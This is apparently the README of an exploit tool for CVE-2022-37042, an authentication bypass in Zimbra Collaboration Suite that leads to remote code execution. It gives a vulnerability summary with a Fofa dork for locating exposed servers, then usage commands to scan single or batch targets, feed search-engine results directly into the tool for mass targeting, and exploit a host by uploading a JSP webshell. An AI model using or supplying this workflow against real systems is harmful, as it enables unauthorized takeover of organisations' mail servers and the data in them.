0xf4n9x/cve-2022-37042CVE-2022-37042 Обход аутентификации Zimbra приводит к RCE
Просмотр информации об уязвимости.
go run main.go -s
_______ ________ ___ ____ ___ ___ ______________ __ __ ___
/ ____/ | / / ____/ |__ \ / __ \__ \|__ \ |__ /__ / __ \/ // /|__ \
/ / | | / / __/________/ // / / /_/ /__/ /_____ /_ < / / / / / // /___/ /
/ /___ | |/ / /__/_____/ __// /_/ / __// __/_____/__/ / / / /_/ /__ __/ __/
\____/ |___/_____/ /____/\____/____/____/ /____/ /_/\____/ /_/ /____/
@_0xf4n9x_
[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] VulnInfo:
{
"Name": "CVE-2022-37042 Zimbra Auth Bypass leads to RCE",
"VulID": [
"CVE-2022-37042"
],
"Version": "1.0",
"Author": "0xf9",
"VulDate": "2022-10-07",
"References": [
"https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/",
"https://nvd.nist.gov/vuln/detail/CVE-2022-37042"
],
"AppName": "Zimbra",
"AppPowerLink": "https://www.zimbra.com/",
"AppVersion": "Zimbra Collaboration Suite 8.8.15 and 9.0",
"VulType": "RCE",
"Description": "Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.",
"Category": "REMOTE",
"Dork": {
"Fofa": "app=\"zimbra-邮件系统\" \u0026\u0026 (protocol=\"http\" || protocol=\"https\")",
"Quake": "",
"Zoomeye": "",
"Shodan": ""
}
}
Проверка уязвимости для одного целевого URL.
go run main.go -u http://example.com
echo 'http://example.com' | go run main.go
Пакетная проверка уязвимости для нескольких целей.
go run main.go -l urls.txt
echo 'app="zimbra-邮件系统" && (protocol="http" || protocol="https")' | fofax -ffi -fs 500 | go run main.go
Эксплуатация уязвимости для одного целевого URL, загрузка webshell файла.
go run main.go -u http://example.com -uf shell.jsp
https://github.com/projectdiscovery/nuclei-templates/pull/5134